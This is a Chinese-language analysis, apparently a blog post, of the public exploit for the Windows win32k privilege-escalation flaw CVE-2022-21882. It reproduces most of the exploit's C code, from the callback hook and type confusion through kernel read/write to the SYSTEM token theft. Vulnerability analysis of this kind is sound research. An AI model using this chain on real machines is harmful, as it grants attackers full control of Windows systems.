环境
windows 版本 21H2 操作系统内核版本19044.1320
代码地址:https://github.com/L4ys/CVE-2022-21882
前提介绍
攻击者在用户模式调用相关的 GUI API 来进行 kernel 调用,如 xxxMenuWindowProc、xxxSBWndProc、xxxSwitchWndProc 和 xxxTooltipWndProc。这些 kernel 函数调用会触发 xxxClientAllocWindowClassExtraBytes 回调。攻击者可以通过 hook KernelCallbackTable 中的 xxxClientAllocWindowClassExtraBytes 来拦截回调,使用 NtUserConsoleControl 方法来设置 tagWND 对象的 ConsoleWindow flag,这一步操作可以修改窗口类型。
回调后,系统不会检查窗口的类型是否修改,由于类型混淆会导致错误的数据被应用。Flag 修改前系统会将 tagWND.WndExtra 保存为一个用户模式指针,flag 设置后,系统会将 tagWND.WndExtra 看作为 kernel desktop heap 的偏移量,攻击者控制了该偏移量后,就可以引发越界读和写。
tagWND结构体
struct tagWND
{
ULONG64 hWnd; // + 0x00
ULONG64 OffsetToDesktopHeap; // + 0x08 相对桌面堆偏移量
ULONG64 state; // + 0x10
DWORD dwExStyle; // + 0x18
DWORD dwStyle; // + 0x1C
BYTE gap[0xa8];
ULONG64 cbWndExtra; // + 0xC8
BYTE gap2[0x18];
DWORD dwExtraFlag; // + 0xE8
BYTE gap3[0x3c];
ULONG64 pExtraBytes; // + 0x128 相对内核堆偏移量
};
代码解析
首先把未文档化的函数找到
NtUserConsoleControl = (NTUSERCONSOLECONTROL)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserConsoleControl");
NtUserMessageCall = (NTUSERMESSAGECALL)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserMessageCall");
NtCallbackReturn = (NTCALLBACKRETURN)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCallbackReturn");
RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAllocateHeap");
FindHMValidateHandle这个函数则通过偏移找到,这个函数可以通过窗口句柄找到内核中的tagWnd结构,泄露内核信息。
HMVALIDATEHANDLE FindHMValidateHandle()
{
HMVALIDATEHANDLE result = NULL;
HMODULE hUser32 = LoadLibrary(L"user32.dll");
PBYTE p = (PBYTE)GetProcAddress(hUser32, "IsMenu");
for (int i = 0; i < 20; ++i)
{
if (0xe8 == *p++) {
INT offset = *(PINT)p;
result = (HMVALIDATEHANDLE)(p + 4 + offset);
break;
}
}
return result;
}//获取FindHMValidateHandle的地址
通过构造结构体注册两个窗口
WNDCLASSEX WndClass = { 0 };
WndClass.cbSize = sizeof(WNDCLASSEX);
WndClass.lpfnWndProc = DefWindowProc;
WndClass.style = CS_VREDRAW | CS_HREDRAW;
WndClass.cbWndExtra = 0x20;
WndClass.hInstance = NULL;
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = L"NormalClass";
RegisterClassEx(&WndClass);//结构体 使用的窗口注册一个窗口类
WndClass.cbWndExtra = MAGIC_CB_WND_EXTRA;
WndClass.lpszClassName = L"MagicClass";
RegisterClassEx(&WndClass);//重新注册一个
找到窗口0跟窗口一 Wnd的偏移
DWORD extra_to_wnd1_offset = 0;
DWORD extra_to_wnd2_offset = 0;
for (int j = 0; j < 5; ++j) {
HMENU hMenu = CreateMenu();//创建一个弹出式窗口
HMENU hHelpMenu = CreateMenu();
AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));//在指定的菜单下追加一项
AppendMenu(hMenu, MF_POPUP, (UINT_PTR)hHelpMenu, TEXT("help"));
for (int i = 0; i < 50; ++i) {
g_hWnd[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, hMenu, NULL, NULL);//创建普通窗口
g_pWnd[i] = (struct tagWND*)HMValidateHandle(g_hWnd[i], 1);
}
for (int i = 2; i < 50; ++i) {
DestroyWindow(g_hWnd[i]);
}//创建50个窗口 获取用户态tagWnd地址 然后再销毁47个
ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)g_hWnd[0] };
NTSTATUS status = NtUserConsoleControl(6, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));//将第一个窗口设置通过偏移寻址
g_hWnd[2] = CreateWindowEx(NULL, L"MagicClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, NULL, NULL);//创建漏洞窗口
g_pWnd[2] = (struct tagWND*)HMValidateHandle(g_hWnd[2], 1);//获取用户态tagWnd地址
if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) {//OffsetToDesktopHeap 相对桌面堆偏移量 pExtraBytes 相对内核堆偏移量
extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;//偏移量相减
}
if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) {
extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
}
if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) {//
printf("Unexpected memory layout, retry %d/5\n", j + 1);
DestroyWindow(g_hWnd[0]);
DestroyWindow(g_hWnd[1]);
DestroyWindow(g_hWnd[2]);
DestroyMenu(hMenu);
DestroyMenu(hHelpMenu);
if (j == 4) {
printf("Give up\n");
return 1;
}
continue;
}
printf("Offset of tagWND0->pExtraBytes and tagWND1 = %x\n", extra_to_wnd1_offset);
printf("Offset of tagWND0->pExtraBytes and tagWND2 = %x\n", extra_to_wnd2_offset);
break;
}
hook xxxClientAllocWindowClassExtraBytes函数 修改了窗口二对应的offset为窗口一的offset
NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int* pSize)
{
if (*pSize == MAGIC_CB_WND_EXTRA) {//判断窗口的扩展内存长度是否一致
// magicWND->dwExtraFLag |= 0x800
printf("Set magicWND->dwExtraFlag |= 0x800\n");
ULONG64 ConsoleCtrlInfo[2] = { 0 };
ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[2];
NTSTATUS ret = NtUserConsoleControl(6, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));//使用NtUserConsoleControl 方法来设置tagWND 对象的ConsoleWindow flag 把窗口2的寻址方式变为offset
// Set magicWND->pExtraBytes to fake offset
printf("Retrun faked pExtraBytes: %llx\n", g_pWnd[0]->OffsetToDesktopHeap);
ULONG64 Result[3] = { g_pWnd[0]->OffsetToDesktopHeap };
return NtCallbackReturn(&Result, sizeof(Result), 0);//修改窗口一的寻址方式变为offset
}
return xxxClientAllocWindowClassExtraBytes(pSize);
}
NTSTATUS WINAPI MyxxxClientFreeWindowClassExtraBytes(PVOID* pInfo)
{
struct tagWND* pwnd = (struct tagWND*)pInfo[0];
// explorer will try to free our faked pExtraBytes, block it to prevent BSOD
if (pwnd->cbWndExtra == MAGIC_CB_WND_EXTRA)
return 1;
return xxxClientFreeWindowClassExtraBytes(pInfo);
}
创建窗口二 NtUserMessageCall函数调用时触发hook 调用MyxxxClientAllocWindowClassExtraBytes函数 修改窗口2的内存扩展为窗口1的内存扩展地址
NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0);
SetWindowLongW将窗口0的cbWndExtra设置为0xFFFFFFF 使wnd[0]能够越界访问
SetWindowLong(g_hWnd[2], offsetof(struct tagWND, cbWndExtra) + 0x10, 0xFFFFFFFF);
创建一个新的fakemenu
PVOID hHeap = GetProcessHeap();//检索调用进程的默认堆的句柄
g_pFakeMenu = (struct tagMENU*)RtlAllocateHeap(hHeap, 0, 0xA0);//堆中分配一块内存
g_pFakeMenu->ref = RtlAllocateHeap(hHeap, 0, 0x20);
*(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
// cItems = 1
g_pFakeMenu->obj28 = RtlAllocateHeap(hHeap, 0, 0x200);
*(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
// rgItems
g_pFakeMenu->rgItems = RtlAllocateHeap(hHeap, 0, 0x8);
// cx / cy must > 0
g_pFakeMenu->cxMenu = 1;
g_pFakeMenu->cyMenu = 1; //创建一个假的窗口
修改窗口0的属性 然后用fakemenu替换窗口一的pmenu 于是完成了pmenu内核地址的泄露
SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(struct tagWND, dwStyle), style | WS_CHILD);
ULONG64 pmenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pFakeMenu);
获取token
ULONG64 p = Read64(pmenu + 0x50); // pmenu->spwndNotify (tagWND)
p = Read64(p + 0x10); // pwnd->pti (THREADINFO)
p = Read64(p + 0x1A0); // pti->ppi (PROCESSINFO)
p = Read64(p); // ppi.W32PROCESS.peProcess
ULONG64 eprocess = p;
遍历进程,修改token,达到提权的作用
do {
p = Read64(p + EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET) - EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET;
ULONG64 pid = Read64(p + EPROCESS_UNIQUE_PROCESS_ID_OFFSET);
if (pid == 4) {
printf("System EPROCESS = %llx\n", p);
ULONG64 pSystemToken = Read64(p + EPROCESS_TOKEN_OFFSET);
printf("pSystem Token = %llx \n", pSystemToken);
ULONG64 pCurrentToken = eprocess + EPROCESS_TOKEN_OFFSET;
LONG_PTR old = SetWindowLongPtr(g_hWnd[0], extra_to_wnd1_offset + offsetof(struct tagWND, pExtraBytes), (LONG_PTR)pCurrentToken);
SetWindowLongPtr(g_hWnd[1], 0, pSystemToken);
SetWindowLongPtr(g_hWnd[0], extra_to_wnd1_offset + offsetof(struct tagWND, pExtraBytes), (LONG_PTR)old);
break;
}
} while (p != eprocess);
修补方案
这个是修补之前的
这个是修补之后的,可以明显看到函数的头部跟尾部加上了对tagWND结构的判定